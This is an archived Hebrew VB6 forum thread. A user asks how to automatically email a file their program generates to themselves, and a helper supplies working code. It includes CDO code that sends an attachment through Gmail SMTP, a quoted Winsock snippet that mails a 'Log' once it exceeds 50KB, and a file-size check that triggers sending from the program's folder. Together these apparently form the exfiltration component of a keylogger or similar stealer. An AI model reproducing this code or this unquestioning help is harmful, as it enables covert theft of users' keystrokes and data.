עבור לתוכן

צריך עזרה ב-VB6

Featured Replies

פורסם

שלום לכולם,

הכנתי פרויקט ב-VB6 שמייצר קובץ DLL מסוים...

אני לא מצליח להכין או למצוא קוד שיאפשר לי לשלוח את הקובץ DLL הזה אלי ל-FTP\ לאימייל.

אם מישהו ממכם מכיר קוד כזה ויכול להגיד לי מהו כאן או בפרטי אני יפצה אותו ב-2 מספרי אייסיקיו בעלי 7 ספרות.

אני יודע שזה לא פיצוי גדול אבל בבקשה אני כבר חודשיים (בלי צחוק) מחפש קוד כזה.

נ.ב:

נראה לי שהיחידי שיענה כאן יהיה UnsignedInteger, הבנאדם הזה הוא אחד הגברים בפורום.

פורסם

שליחה דרך GMAIL:


Set objMessage = CreateObject("CDO.Message")

With objMessage

With .Configuration.Fields
.Item("[url]http://schemas.microsoft.com/cdo/configuration/smtpserver"[/url]) = "smtp.gmail.com"
.Item("[url]http://schemas.microsoft.com/cdo/configuration/smtpserverport"[/url]) = 465
.Item("[url]http://schemas.microsoft.com/cdo/configuration/smtpauthenticate"[/url]) = 1
.Item("[url]http://schemas.microsoft.com/cdo/configuration/smtpusessl"[/url]) = True
.Item("[url]http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout"[/url]) = 60

.Item("[url]http://schemas.microsoft.com/cdo/configuration/sendusername"[/url]) = username in gmail account
.Item("[url]http://schemas.microsoft.com/cdo/configuration/sendpassword"[/url]) = password in gmail account
.Item("[url]http://schemas.microsoft.com/cdo/configuration/sendusing"[/url]) = 2

.Update
End With

.From = username & "@gmail.com"
.To = email

.Subject = "אימייל"
.TextBody = "גוף ההודעה"
.AddAttachment "c:\temp\bla.dll"
.Send

End With

Set objMessage = Nothing

אם אתה רוצה לדעת עוד כנס לhttp://www.paulsadowski.com/WSH/cdo.htm.

נ.ב. תודה על המחמאה.

פורסם
  • מחבר

וואי תודה אחי!

אך האם יש אפשרות לשלוח רק כשהקובץ מגיעה למשל ל- 10KB?

מצאתי את הקוד הבא:

Private Sub trmCheckLen_Timer() 'delay 10 secs orso

If Len(Log.Text) >= 50000 Then 'if the log is 50kb or bigger
tmrHELO.Enabled = True
Winsock.Close
Winsock.RemoteHost = "gmail-smtp-in.l.google.com" 'connect to gmail smtp server
Winsock.RemotePort = 25
Winsock.Connect
End If

End Sub

האם הוא יכול לעבוד בשילוב עם הקוד שאתה הבאת?

ועוד שאלה:

אם אני רוצה שזה ישלח את הקובץ בתיקייה שבא התוכנה נמצאת מה אני צריך לעשות? כאילו שאני לא צריך לקבוע את המיקום שלה ...

חבר שלי אמר שזה פשוט אבל הוא לא זוכר איך :x

בכל מקרה בין אם תעזור ובין אם לא יצאת גבר ולא רק בדיון הזה...

פורסם

פונ למציאת גודל הקובץ:


function filesize(name as string) as long
dim fso, fileobject
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileObject = fso.GetFile(filename)

filesize = fileObject.Size

Set fileObject = Nothing
Set fso = Nothing

end function

השימוש:


dim size as long
size = filesize(app.path & "\filename.dll")
if size >= 10*1024 then
'send mail
end if

ארכיון

דיון זה הועבר לארכיון ולא ניתן להוסיף בו תגובות חדשות.

דיונים חדשים